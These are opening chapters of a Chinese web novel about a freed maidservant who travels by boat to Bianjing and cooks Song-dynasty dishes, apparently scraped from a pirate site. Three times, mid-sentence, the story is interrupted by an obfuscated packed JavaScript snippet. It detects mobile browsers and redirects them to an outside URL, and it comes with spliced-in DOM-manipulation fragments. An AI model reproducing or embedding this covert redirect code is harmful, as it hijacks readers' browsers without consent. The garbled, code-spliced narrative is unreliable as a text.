《我的小食摊火爆整个汴京(美食)》 1. 返程汴京 “当初买她进来也是瞧她生的百伶百俐,又哭的可怜,要卖身养活一双弟妹,我这才发了善心。” “谁料这荡//妇在我房里伺候几年竟然生了淫心,也敢攀附起三郎来?!” “也是算她命大,昨个儿我叫她跪着,晚间下那么大的雪,竟也没能结果了她,倒叫她讨了傅家二郎的几句好话,叫我不得不卖个人情饶了她。” 寒风呼啸着卷过回廊下的湘帘,朱红漆色的梁柱被白雪朦胧成一片影影绰绰,叫人哈口气都能冻成冰。 但即使是这般寒冷天气,廊角依旧站了名粉面妇人,两眼含恨,满面怒火,口中“小蹄子”、“贼淫//妇”之类的话辱骂不绝。 而伴随着辱骂声,一道清瘦娇弱的身影自雪中缓缓走来。 她看起来十六岁上下光景,穿一身浆洗得发白的衣裙,头上用一张靛蓝碎花头巾裹紧青丝,斜插着一支普通木簪子固定,乌云般的鬓角却依旧落下几缕碎发,垂落在削瘦苍白脸侧,十分清丽可怜。 有往日与她交好的丫头见了,忍不住叹息:“自从三娘子嫁进了咱候家,三郎君房里稍有些姿色的姐姐们都被发落了。本以为金枝姐姐是三娘子从娘家带来的陪嫁,三娘子会顾念着情分,谁知竟也这般狠辣。” “三郎君向来急色,没娶时就常在外养着几个唱的,几夜不归家都是常事。金枝姐姐生的这般好,又几次三番拒绝三郎君收用,三郎君早恼了,放话说要用强的。” “是啊,听说人都给拖进假山洞子底下去了,又叫金枝姐姐死命发狠似地挣脱了。弄得那腕口上全是青紫的伤,回来见着我们就一直哭。” “唉,若是遮掩过去也就算了,偏偏金枝姐姐心眼儿实,就把这事儿与三娘子说了。三娘子心狠善妒,直接把人罚在雪里跪了半夜!” “自打雪夜里冻昏了一回,金枝姐姐好似是给冻伶俐了,醒过来后居然主动去找官府验证为奴期满,要求放回家去。若是留在这府里,指不定还要受什么磋磨呢。” 几人凑在一起议论,看向柳金枝的眼神满是怜悯。 柳金枝自是不知小丫头们的议论,她一路哭着跟着婆子出了府,把婆子都哭的心软,多嘴问了句:“出了府,你哪儿去?” “家去。” “哪个家去?” “舅舅家去,他老人家就在汴京城的南边儿开药材铺子哩。”柳金枝扑簌簌掉着泪珠儿,“今个儿就取船北上,再不回来了。” 婆子惊异:“哟,这么赶?” 然而柳金枝觉得还慢了,自她穿过来后,是一刻都不想在这块儿地方待。 所以她在下人房养病期间,把原主的记忆来来回回筛了个遍,终于确定她现在身处在一个类宋的架空朝代。 整体时代发展偏向于北宋后期,却没有外忧内患。 虽然政治算不上海清河晏,路不拾遗,夜不闭户,但也没有太大的动荡。百姓颇为安居乐业,奴婢制度也有了很大发展。 原来的良贱制度是将奴婢打为贱籍,生死全由主人定夺。 但现在奴婢属于编户齐民,不再属于财物,而是有人格的“人”,是为良人。 而现下流行的雇佣制,也让奴婢类似于现代的保姆,有期限、有报酬。 若想要离开主家,只要能向官府证明自己服务期满,就可以放还归家,连主人也干预不了。 也幸好当年原主自卖为奴的时候还不算完全昏了头,只签了五年奴约。 前几日团圆夜时正好服务期满,所以她才能借着出门买药的空当,跑去官府验明真身,最后成功离开侯府。 “您也知道三娘子的性子,我得罪了她,怎么还敢在这儿待呢?”柳金枝一面抽噎,一面不住地拿眼睃那婆子。 只见婆子眼中闪过一丝挣扎犹豫,道:“唉,你也当真是个可怜人。” 说着,又按按胸前衣兜,迟疑半晌,还是从怀里摸出只茄袋,肉疼地塞给柳金枝。 “里头有大概一贯钱,都是同你交好的那些丫头们凑的,说要与你做盘缠,这下便、便给你罢。” 柳金枝眼中闪过一抹笑意,却又装作抽抽噎噎的模样,小心接过了茄袋。 其实她早知道那些与她交好的丫头给她凑了路费盘缠。 只是她当时卧病在床,又有三娘子的人盯着,所以不好给她,就托这管家婆子帮忙。 柳金枝知道这管家婆子虽贪财,但也不算完全泯灭良心,对她这般遭遇也十分怜悯。 所以她这么做作地哭了一路,硬是哭到这婆子都不好意思昧下这救命钱财,又把茄袋还了回来。 毕竟她多年积攒的体己都寄回汴京舅舅家,帮着抚养弟妹了,现下身无分文,寒酸到连张像样的船票都买不起。 这一千文对她来说犹如救命。 “我这厢多谢您了。” 柳金枝高兴地对婆子道了个万福,又十分懂事地从茄袋里取出三四十文请婆子去买茶吃。 平白得了钱,喜得这婆子重又眉开眼笑,道:“你此去汴京就是快也要大半月才到哩,免不得要在船上吃喝,没个干粮可不行。” “正好婆子我识得几个在粮食铺里管事的伙计,同样的米,却能做主卖你个好价。” “你若是愿意,我现在就替你去置办,再叫个脚夫帮着你一块儿运去渡口,耽误不了多少时间。” 这哪儿有不愿意的,柳金枝忙不迭地点头答应,又取出三百文交给婆子,叫她将干饼、米粮、蔬果并各类调料,诸如砂仁、草果、花椒、桔丝、香油、姜末之类都买些回来,各自用小翁装了,一并交付与脚夫拉到渡口。 彼时半轮血色残阳铺满江面,渡口的人已渐渐多起来,都挤在岸边看船靠岸。 柳金枝倚着石栏望船出神。 从记忆里她知道,原主的父母乃是汴京人士,一家子住在新曹门的小胡同里。 因汴京人格外爱吃莲子,莲子又可入药,汴京莲子供不应求,于是满胡同人都以剥莲子为生。 原主父母手脚格外干净利落,为人也勤恳老实,就被选为工头,替整个胡同的采莲工与酒楼、饭馆还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458075|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药铺老板们恰谈价钱。 多年积攒下来,原主家中日渐殷实,也有四五千贯的家财。 只是好景不长,一场风寒叫原主父母双双病故,只留下原主与一双年幼弟妹。 原主自知势弱,养活不了一双弟妹,便求上舅舅,恳求舅舅、舅母抚养弟妹成人。 为了支付抚养费用,原主将家中旧宅挂牌出租给他乡举子做暂时落脚之地,每月得来的租金都交与舅母为弟妹置办衣物、伙食。 汴京寸土寸金,这些个租金别说是一双弟妹,就是再来一双也养得起。 只是舅舅满脸为难地告诉原主,这些银子还不够,因为弟弟聪颖好学,必然要为他将来科举做打算。 只是延请名师、打点礼房胥吏、买经史子集、笔墨纸砚等都花费不菲。 更别提宋人有厚嫁之风,嫁妆必要丰厚,所以原主还得为妹妹积攒一份数额可观的嫁礼。 原主一个幼女无可奈何,只好忍泪自卖入三娘子的娘家孙府为奴,签下五年活契,将所得的十五两银子都交与舅舅、舅母。 入孙府后,原主惦念家人,不仅日常省吃俭用存下银子,连平常所得的一些赏银、值钱玩意儿都寄去汴京。 舅舅、舅母每次都殷勤回信答应,再三让原主放心。 直到孙府与侯府结亲,三娘子从汴京远嫁至秦淮,原主作为陪嫁丫头也跟着南下,再寄东西回汴京时,舅母回信的次数便少了。 从一年五六封信,逐渐减为三四封。 甚至今年原主就只收到了一封信,还是向原主抱怨汴京物价飞涨,银子越发不够用,话里话外都是让原主再多寄一些银子来。 原主信任舅舅、舅母,一直没有多想,可柳金枝却知道这舅舅、舅母八成也不是什么好人。 当年原主尚在汴京时,他们还勉强装个良善模样,殷勤回信。原主一走,他们就打量着天高皇帝远,开始私下里捣鬼。 柳金枝猜,这些年原主寄回家的银子,并出租房子得来的租金,怕有一大半都不会花在弟妹身上,这两个孩子估计正在汴京受苦,心中对她这个多年未曾相见的长姐怕是也要生出些许怨恨来。 这样一想,柳金枝不由对原主这般坎坷的命运心生同情。 毕竟当年原主不敢抚养弟妹,全是因为担心自己无一技之长,养活不起,反倒要连累弟妹受苦。 而舅舅、舅母哪怕隔着一层,毕竟家中也开了个生药铺,生活稳定,衣食不愁,这才狠心离开。 如今她穿来了,占据了原主的身体,必然是要还原主一个情,替她讨回些公道的。 所以她已打算好,一回汴京,就将弟妹两个接回身边。 好在她前世是非物质文化传承人,不仅潜心研究宋明清三朝菜谱,还拜得御厨手艺传承人做师父,在厨艺方面很是拿手,不怕在遍地是吃货的宋朝没个活路。 “诸位,公验了!” 这时,耳边传来船伙计的大声吆喝,原来是船只已靠岸。 柳金枝便不再多想,上前乘船北上。 2. 姜辣羹 将一应物品搬入船舱后,天光尽收,船外已飘起鹅毛大雪。 在这般时节,河面极易结冰,按常理说,漕运本应暂时关闭,但奈何柳金枝有好运气,赶上南方军器监精心制作了一批弓弩急着要上呈官家过目,遣使了沿河劳工连夜开凿河冰,确保漕运畅通。其余民船无不借这股东风,继续载客北上。 柳金枝坐的这艘船到汴京大概要半个来月,长途颠簸下,选个好船舱就格外重要。 所以她在原票价两百文的基础上又多追加了二十文,央船老大替她挑了个明亮宽敞的单人船舱,舱内床单、枕巾、脸盆、牙香、刷牙、一应俱全。 又因为冬日里天寒手冷,又与了二十文给船上伙计,确保每日都有一壶热水、一篓灰碳以及半支白蜡供应。 这么一算,她茄袋里就只剩了四百六十文。 届时她下了船还要雇用脚夫,想利用厨艺挣钱也得支一个属于自己的小摊儿,再算上买进蔬果、鲜肉、佐料的成本……以汴京的物价,这四百六十文怕是眨眼就花光了,还大概率不够。 而且按照原主所谓的舅舅、舅母两个的性子,也不可能舍银子救济她一把,所以她得在船上寻个活儿干,最好在船未靠岸前先把本钱挣回来。 想着,柳金枝推开舱门找到船伙计,笑道:“小哥,敢问船上可有鲜鱼买卖?” 船伙计认识的人广,无论河面上撑竿子的,还是渡头上摆摊卖货的,他都能说上两句话。 因此一听柳金枝的请求,便笑道:“往日里河面结冰,管家不许咱们开凿河冰,鲜鱼自然没有。但娘子好运气,赶上了今年有大人物邀功,现在这鲜鱼是要多少有多少。” 冬日里鱼儿在水里憋闷,河冰一经凿开,都争先恐后跃出水面透气,使得两岸渔民收获颇丰,价格也比寻常便宜。 最后柳金枝以二十文的价格,买下了三尾五斤左右的新鲜鲈鱼。又找了船伙计借了两只干净木桶,返回船舱取出随身携带的菜刀,就在甲板边杀起鱼来。 在她拜师学厨艺的时候,她师父就叫她从杀鱼练起。 所谓“过于急躁则鱼乱,刀法不当则鱼碎”,她足足杀了半年鱼,最后练到下刀干脆利落。 现下她用左手两指扣住鱼鳃,任凭湿漉漉的鱼尾全力拍打在她的手腕,右手手腕一翻刮上鱼身,细碎鱼鳞顿时如雪片般纷飞落下。 再斜切一刀直入鱼腹,刀尖擦着苦胆抵在鱼骨处,往下一剜,就带出一地鱼泡、鱼肠之类的内脏。 这些她不要,通通拾起来扔进河里喂鱼。 然后再蹲下来杀第二条鱼。 夜间晚风大起来,鱼血腥味儿顺着风势外散,叫坐在临窗口的一名少年抬起眼来,眉心微蹙。 少年眉眼清俊儒雅,着一领方口羊绒衫,外罩一身鸦青色素雅的棉袍子,袍身宽大,袖口略微收紧,腰间系一条玄色镶嵌羊脂玉腰带,利落勒住腰身,显出几分君子端方。 “二郎,外头有位娘子在杀鱼呢。”杏安隔着窗望了一望,“可巧就赶在咱窗口,我去说一声,叫这位娘子罢手了吧。” 就要往外走,又叫少年拦住。 “杏安,罢了。这位娘子已是挑在夜里杀鱼了,是我半夜里睡不着,才撞着这腥味儿。”少年将书本收起,“将窗户关了,咱们也歇息吧,正好我看书也看的累了。” 杏安看少年眼里有些血丝,桌边的干粮也只动了一点,便道: “二郎说要走时,侯府的三郎君再三挽留,奴才见他诚心的很,可二郎就是不肯留下,反而叫奴才去买了最近的船票,要连夜赶回汴京。” “现下船上没个好吃好喝的,公子又吃不上辣,饮食不佳,再熬个半月回京,人都要怕瘦脱相了。何必吃这苦呢?” “父亲叫我应举之前多往各地游历,增长见闻,途径秦淮之时想起来,当年与父亲交好的侯大人正在家中丁忧,因而拜见。”少年脱下外袍,递与杏安,“侯大人供职工部,而今虽贵为侍郎,却也温和谦逊,对我甚为优待。府中几位公子亦是对我礼遇有加,从无不足,只是……” 少年迟疑半晌,似是想说些什么,但思及君子慎独,切勿背后搬弄口舌是非,就道:“罢了,我与他们不是同路人。与其违心留下,不如尽快返程。” 杏安把外袍挂在木施上,道:“我知二郎你是为着侯府里的那个丫头。大雪夜里叫人跪在庭子受冻,满府里头还只有郎君你愿意替她饶情两句,可见府中其他人着实刻薄。但咱走的也太急了,连翁辣脚子都没来得及收呢。” 少年摆摆手示意不必再提,杏安也就住了口,又伺候着少年脱靴上床,吹灭白蜡睡下不提。 眼瞧船上最后一盏灯火都熄灭,柳金枝擦擦额上汗,撤开手,带着鱼块重新回到船舱。 四周万籁俱寂,耳边除却河浪拍岸,就只剩下白蜡烛芯噼里啪啦的声响。 柳金枝借着摇曳烛光,撸起袖子将买来的铁锅架在炉子上。 炉子虽有些老旧,但很耐用,塞上黑炭、打了火石之后,不消半刻就有火苗蹿出来大肆舔着锅底。趁着热,她赶紧倒上一壶温水。 幸好中国历史时间线行至宋朝以后,她那充满智慧的老祖宗们已经捣鼓出了铁锅来取代陶锅。 铁锅导热更快,没等完全入夜,水面就冒出白烟,沿着铁锅边缘往外飘,滚水泡起一个炸开一个。 水已经完全烧开了。 就着滚水,她将洗净的三对鱼头、鱼尾尽数贴锅滑进去。 鲜嫩嫩的鱼肉刹那间被开水烫成乳白色,腥气尽消,伴随着大量水汽蒸起,还隐隐透出一丝河鱼鲜香。 这就是鲈鱼的好处。肉质鲜美细腻却少刺,清蒸、红烧、熬汤样样都行。 所以范仲淹才在《江上渔者》中写“江上往来人,但爱鲈鱼美”来赞美鲈鱼,可见是发自肺腑,情真意切。 只是光有鲜鱼香还不足以满足宋朝人的嘴,因为宋朝人是爱吃辣的,甚至可以说是无辣不欢。 但宋朝没有辣椒,为了吃到辣,宋朝人找出了可以代替辣椒的胡椒,以及一系列可以提供辣味儿的食材—— 葱、姜、蒜、蕌头、辣蓼、茱萸和芥菜。 其他的她虽有一些准备,但姜辣羹还得是用姜末入汤味道更妙。 于是扯开布袋抓出辛辣姜末,大量成片撒进锅去,任凭凶猛的沸水将它们尽数卷入锅底,姜末沉浮之间,满室鱼香中便又破空生出香辣呛人的姜味儿来,直刺激的人口里酸酸,似是分泌了一大堆涎水。 这用鱼头鱼尾和大量姜末熬制成的鱼汤,就是常在宋朝早市里出现的“姜辣羹”,喝一口,姜辣和鱼河鱼鲜香相得益彰,犹得宋朝人喜爱。 只不过鱼汤好得熬得浓稠奶白才好喝,现下还不够浓稠,柳金枝要守火,就抱膝坐在小杌子上,以手撑脸,聚精会神地盯着火光。 却不知炊烟袅袅,沿着大开的窗棂散出去,一时间满船盛盈姜辣鲜鱼香,勾引得船客仿佛梦临早市,饥肠辘辘,又遍地寻不到售卖姜辣羹的摊子,只得急的鼻尖儿冒热汗,真个叫做梦也不安生! 好在半夜小火文炖,到第二日辰时一刻,姜辣羹已彻底成了。 鱼汤香辣扑鼻,色泽呈现天然的奶白色,柳金枝盛了一勺尝尝,入口果然十分醇厚,可见那三尾新鲜鲈鱼的精华都化在里头了。 柳金枝高兴,却感一阵困意袭来,因她昨夜为照顾这羹只睡了不消两盏茶的时间,现下有些撑不住,便将锅盖盖好,自个儿囫囵收拾了一下上床小憩。 她倒不怕耽误买卖,因为宋朝人一日两餐,早上八九点用朝食,下午四五点就用晡食,现下时辰还早着呢。 谁知门口倒传来一阵窸窸窣窣的响动,似是谁在窃窃私语— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458076|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' — “香味儿便是从这位娘子的舱里传出来的。” “嗐,这味道搅扰了我大半夜,我只当是做梦呢,醒来了以后四处寻干粮嚼方知是真的。” …… 一般人出门在外,哪个不是轻便上路?哪怕是宋朝这类经济已高度发达、百姓生活便利的朝代,也避免不了。 所以书生赴京赶考,为了带足干粮,将面团拍扁,中间挖一个洞,再将之脱水晾晒干,挂在书箱旁边,边赶路边吃。 虽然干涩,但起码饱腹。 到后来,这种饼被称之为“环饼”,形状和现代甜甜圈很类似。 也正是因为这种干粮无法满足宋朝人吃货的心,所以当姜辣羹的香味儿四溢,大家为了赶路而被迫压抑已久的味觉终于被重新唤醒了。 “咚咚咚——” 柳金枝从睡梦中迷蒙醒来,犹觉是自个儿幻听。 但舱门被再度叩响:“咚咚咚——” 柳金枝以为是船伙计送每日温水来了,口中一边应:“就来!”,一边起身整理梳洗,去开舱门。 门刚拉开,就见一名着布衣青鞋的年轻书生站在门口,另有几个中年汉子跟在后头。而旁边窗棂下又坐着个戴斗笠、穿蓑衣的老翁。不远处更是立着几名妇人,怀中抱子,不好意思却又略带期望地望向她。 “这是……” 柳金枝迟疑,不由往后一退。 “唐突娘子,不知娘子房里做的是什么?”书生有些不好意思,“我昨个儿夜里就闻着了,闹了半夜的馋鬼儿。好不容易止住了,今早一睁眼却又被香味儿勾住,实在按捺不住,只好腆着一张脸来叩请娘子赏一碗吃。” 柳金枝略一松气,脸上提起笑容:“我做的是姜辣羹,早市里常见,不是什么稀罕物。”说完,她眼珠一转,却又道,“只是这羹是我自个儿做来吃的,怕是与不了郎君太多。” “娘子肯赏一碗已是极好。”书生高兴极了,又从袖子里摸出六文钱递与柳金枝,“我愿按汴京早市的常价购买,娘子请收好。” 见了铜板,柳金枝脸上的笑容顿时又灿烂了几分,赶紧转身推开舱门将姜辣羹倒进干净木桶里提出来,盛了一碗递与那书生。 这姜辣羹刚熬出来,正是鲜香美味的时候。 书生端着碗,迫不及待地迎风埋头深呷一口,碗中浓郁的鲈鱼香和辛姜香顿时被河风散的到处都是。 引得后头的中年汉子、旁边的老翁还有那几个妇人都拥上来,不好意思地笑道: “娘子若是还有剩余,不如也卖与我一碗吃吃吧。” “娘子,我也想要一碗。” “来,这是六文钱,娘子收好。” 柳金枝七手八脚去收钱,心中粗略一算,已有四十八文,买鲈鱼的成本已经回了。 她顿时笑的见牙不见眼,连连盛辣姜羹递出去。 木桶很快见底,周围人得了羹都心满意足地离去。 待到只剩最后一碗时,人已经空了。 柳金枝擦了把额上汗,仰起头看了看日光,正见金乌日渐西移,就快当空而照了。 预估着不会再有人来买羹,柳金枝干脆将这最后一碗收起来,留作自己的朝食。 念及空腹喝羹有些伤胃,她还从随身干粮袋里摸出一只环饼。也不讲究,随意叼在嘴里。左手端羹,右手提桶,预备着回船舱内慢慢享用。 耳边却传来一阵平和稳健的脚步声,似是正有人朝她走来。 有道少年声音响在耳畔,温和平稳: “敢问娘子,还有羹没有?” 以为是随便哪个,柳金枝懒懒掀起眼皮朝来人处一瞥—— 儒雅清俊的少年眼眸似三月湖水,明亮清澈,一身鸦青色袍子,玄色镶嵌羊脂玉腰带勒住腰身,兰枝玉树般负手而立,视线正落在她身上。 3. 山煮羊 一瞬间,柳金枝脑海中闪过一幅画面—— 大雪纷飞的清冷夜里,原主跪在庭中,已是冻得神志不清。 昏昏沉沉之间,却远远瞧见一道雪衣墨发的挺拔身影立在廊下,隔着纷飞寒雪朝她望来。 她艰难地张了张嘴:“救命……” 可声音细弱蚊蝇。 她自知低贱,就如路边的一株草芥,这些高高在上的贵人不会对她有任何一次低眸垂怜,但她仍然想拉着这位陌生郎君的衣角求求他。 “救救我,我不想死……” “阿弟……阿妹……” “……阿姐后悔了……阿姐想回家……” 原主流着泪,发着抖,拼命抱着自己取暖希望活命,却最终没能等来她希求的救助,死在了那场纷飞的夜雪里。 可原主不知道在她死后一刻钟内,就有婆子来拖了她回房,为她灌下活命药汤,口中抱怨着有位身份了不得的郎君不省事,居然胡乱插手别家家务事,明看见三娘子脸都青了,却说什么都要救一个犯错的丫头。 彼时柳金枝才穿过来,艰难睁开眼,只听见那位郎君名唤傅二…… “二郎!” 一道呼喊打断了柳金枝的回忆。 杏安白白胖胖的,迈着小短腿哼哧哼哧朝傅霁景跑来。 虽然喘的上气不接下气,一双圆眼却笑眯成了一条线,得意地说:“二郎,我刚打听知道咱船上有娘子兜售姜辣羹。我拿十文给你买了一碗来!这回你总该肯用朝食了吧。” 柳金枝闻言,笑道:“这位小哥,是奴兜售的这姜辣羹,却只需六文。” 杏安眼睛霎时瞪得圆圆的,不可思议地看向傅霁景:“可是那人说是便宜卖给我的。” 柳金枝倒很少看见有哪位高门子弟的小厮,能这般天真不谙世事了。这必然是主子为人温和,府内风气开明才能养出来的性子。 果然,傅霁景无奈又温和地叹了口气,道:“罢了,只是些许银钱,下次留个心眼儿就是了。” 杏安红着脸点头。 “郎君那碗羹怕是凉了,不如换了这碗吧。”柳金枝趁此机会将自己那碗递送过去,“奴不收您的银钱。” 毕竟如果那天没有傅二郎,哪怕她穿过来也会如同原主一样活活冻死在雪夜里。 这个恩情她自当要报。 但傅霁景表情颇为惊讶,礼貌拒绝了:“娘子不必客气,还是明算账的好。”又说,“杏安,拿六文给这位娘子。” 柳金枝疑惑不解,难不成这傅二郎嫌她报恩的礼太少? “唔……”柳金枝只好忍痛道,“若是郎君吃不惯船上吃食,奴愿为郎君每日做几个汴京小菜。也、也不收郎君的钱。” 她如今一穷二白,一文钱都得掰成两半花,此举已经算很舍得了! 傅霁景却大退两步,偏过头,愈加客气疏离:“多谢娘子厚爱,也不必了。” 柳金枝挑眉,还以为傅霁景出身高门,嘴刁看不上这些市井小菜,却又见傅霁景偏着头,从头到尾没敢正眼瞧过她,只肯把一双眸子垂着,谨慎又小心。 再低头一看,原来她作了一身未出阁娘子的装束,才叫傅霁景不敢抬头,兴许说了这么多,傅霁景压根儿还不知道她是谁。 柳金枝有些好笑,也不瞒着,主动上前一步拜谢:“郎君不必推辞,那晚在侯府多亏郎君帮忙向三娘子饶情,才叫奴活下来。滴水之恩,涌泉相报,更何况是救命的恩情。” 得了解释,傅霁景才打量着朝柳金枝看来,只是眼中仍然有些茫然。 柳金枝便知那夜只有她看清了傅霁景,而傅霁景却并不知自己所救的丫头是美是丑,是胖是瘦。 他救人,仅仅因为对方应该活着。 “正是巧了。”杏安拍掌一笑,“我家二郎爱吃辣,可我们走得急,又没有提前预备着,娘子肯帮忙是再好不过了。” 傅霁景也终于看出柳金枝有些许眼熟,便不再拒绝,叉手朝柳金枝一拜,道:“劳烦娘子。” 柳金枝福身:“郎君客气。” 又想把手中热羹递过去。 但傅霁景摇头笑道:“不必了,冬日里若吃了冷的,需用五脏来暖它。娘子刚经历过一场大雪,正是胃寒的时候,还是用些热的暖身为好。” 言罢,便端着那碗冷掉的姜辣羹离开了。 柳金枝不由一笑。 这位傅二郎虽出身高门,倒是十分的愿意为他人着想。 提桶回舱,就着鲜香姜辣的羹汤吃完了一整个环饼,柳金枝开始琢磨晚间该给傅霁景做什么样的吃食。 她走的着急,手边食材有限。 都说巧妇难为无米之炊,就算她有天大的本领,此时也不知该怎的发挥。 其实她也可以向船伙计买些食材,但船上东西贵,她赚的这些钱财怕是不够。 正苦恼时,舱门被人敲响,她出门一瞧,竟是杏安。 他提了两大袋子食材站在门口,笑嘻嘻地叉手一拜:“我家二郎说起动娘子帮忙心里过意不去,这儿有两袋子食材,娘子可随意取用,若还有什么需要的就告知一声,我们给娘子备下就是。” 柳金枝粗浅一翻,发现素菜有白菜、萝卜、冬笋。肉食有猪肉、鱼肉,甚至还有一块肥瘦相间的羊肉。 因为宋朝畜牧业不发达,所以羊肉价贵,远超牛羊肉,一斤往往能卖到六十到八十文不等,而宋朝老百姓一天却平均只能赚一百文左右,负担不起,因此就出现了“百姓食猪,而权贵吃羊”的现象。 而就算是权贵,也不是每个都能吃上上好的羊肉。 傅霁景却能拿出品相这么好的一块,可见家世与财力都不俗,难怪侯家上下都捧着他,一点儿都不敢得罪。 拜谢了杏安,柳金枝拖着食材回到船舱内,略一思索,便将那块羊肉挑出来平铺在砧板上。 她打算做山煮羊。 名字虽然听起来颇为高大上,但放到现代来说就是“水煮羊肉”。 做法不算难,但鉴于傅霁景爱吃辣,柳金枝打算多加些能调出辣味的配菜。 所以她打开自己的佐料麻袋,取出葱十颗、姜五片、蒜三颗、杏仁二十粒、花椒二十粒,另还有胡椒粉、酱油以及二三十颗大粒儿盐摆放在一边备用。 接下来就是处理羊肉,最重要的一步就是去膻。 如果放到现代,她可以选择无数的方法,最简单的就是将羊肉浸泡在冷水里两到三天,让羊肉肌浆蛋白中的氨类物质浸出,减少膻味儿,但现下时间不够。 其余用茶叶、山楂、咖喱、料酒、孜然等去膻味儿的法子也是各有各的不足。只有用白萝卜去膻味儿的办法最好,毕竟她手边就有材料。 于是将羊肉切成两指宽的方块儿,又用船伙计送来的温水洗去羊肉上的血水,再一块块铺进干净砂锅底。 往里灌温水直至水面漫过羊肉,辅以洗过的小葱切成八段、生姜片出五片、花椒脱水二十粒,尽数铺在显嫩嫩的羊肉表面。 最后将砂锅端起来架在红泥小炉子上起火,柳金枝才从麻袋里取出白萝卜开始洗净切块。 白萝卜是最简单的食材,想做的好吃却不容易,需要下功夫“挑筋”,也就是一根根拔除萝卜块里的经络。 但这挑筋的过程需要快,若是任凭厨子挑一天,再好的萝卜也会因为失去水分而变得干瘪难吃,所以挑筋的厨子需要具备超高的刀工,和不俗的眼力。 好在柳金枝两者具备。 她将萝卜放在手心,借助船窗外射进来的阳光,让萝卜里的奇经八脉变得异常清楚,再用绣花针快速下针挑筋。 一块萝卜,她最多只花费十来个呼吸的时间。 等到把两根萝卜的筋都挑完,那金乌也不过是往西稍移了半寸,炉火才盛,砂锅水面也不过浮起一点油星。 柳金枝对此颇为满意。 很好,虽然穿越了一遭,但刀功、眼力没有半点退步。 她擦了把汗,再次查看炉火,心中计较时辰。 羊肉需久煮才能熬的软烂入味儿,而萝卜煮的太烂反而会失去口感。 两者要持恒,就一定得等到汤面开了再下菜蔬。 眼瞧着时辰还早,她将萝卜放在篮子里盖上纱布,又自去麻袋里寻摸了一小袋小米。 别看现代人的主食都是水稻米,就以为古时候的百姓也人人都有水稻吃。 先秦时期,人们主要吃的是粟、黍、菽,也就是谷子、黄米和大豆。 秦朝往后,才慢慢将主食换成小麦。至于到了占城稻出现,并满足了我国大量百姓果腹之需时,中国历史的时间线竟然已经飞跃至宋朝。 也就是说,现在正是宋朝广泛种植占城稻,南方人口大爆炸的时期,百姓们还在经历用占城稻,代替生活中的粟、黍、菽以及小麦做主食的这一粮食更迭过程。 所以大家身边习惯性带着的粮食还是谷子一类,也就是小米。 小米质硬,不易煮熟,若是在现代,大可以用小米与大米以一定比例混合在一起煮饭,但现下条件有限,柳金枝就打算做一回“金比甲”,也就是“小米黄金焖饭”。 将小米倒入陶罐内加灌清水淘洗,却只用筷子搅拌,而不用手搓,几轮下来,小米里的杂质已漂浮在了水面。 把脏水倒掉,重换上适量清水,端到第二个红泥小火炉上起大火,柳金枝就丢开手去处理菜蔬。 被选出来的是芥菜。 宋人嗜辣,便好吃芥菜,研发出了多种吃法。 若将芥菜的根茎,洗净、去皮、切成条,封在缸子里腌上半个月,便叫作“辣脚子”,如同现代的腌干萝卜,只不过更辣些。若只是粗略腌上一晚,再淋上些鲜醋和小磨油,便叫作辣菜。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458077|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 辣菜可以拌在饭里吃,也可以包入面食里当馅儿,做辣菜饼,更是可以研磨碎了,加醋调味,做成最简易的芥末酱,拿来腌渍黄瓜,吃起来香醋酸味儿直刺激的口腔涎水分泌,又鲜辣脆口,叫人欲罢不能。 柳金枝就预备着用辣菜拌小米焖饭。 于是把几个芥菜疙瘩尽数细细地切开,放入浅口小瓷碗内加拌香醋、小磨油,用纱布闷了在一边慢慢腌制。 做到此处,盛着清水的砂锅冒起了小泡,似是水要滚起来了。 她就擦了擦手,端起洗净的小米尽数倾倒进去。 这是一个煮小米饭的小技巧,水开后倒米,可以避免小米糊在锅底。熬制过程中再偶尔用调羹搅拌,会使得小米被烹煮的更加均匀。 尔后再浇上香油两勺、酸醋三勺、大粒儿盐三颗,盖上砂锅盖,大火转小火继续慢炖。 趁着等待的间隙,又将切好的白萝卜放入山煮羊的汤面。 等到两口砂锅内的香气噗噗放的满舱都是,她打开砂锅盖子一瞧,焖好的小米饭色泽金黄,粒粒饱满分明,又因大火收汁,小火慢炖,米粒将汤汁全都锁在体内,尝上一口,爽口劲道,内里喷香。 柳金枝笑着将小米焖饭盛在一只瓷碗里,再切上几段水汪汪的碧绿小葱与金黄小米粒点缀颜色,与腌制辣菜放在一起,便去看山煮羊。 因为文火细炖,羊肉内里早就被炖化了,所以汤面色泽光亮,呈乳白色,像是加入了牛奶。挑掉筋的萝卜因为吸满了汤汁看起来白嫩嫩的像块玉,大半身子浸泡在羊汤内,和熟透了的羊肉块儿依偎在一起,越发显出晶莹剔透。 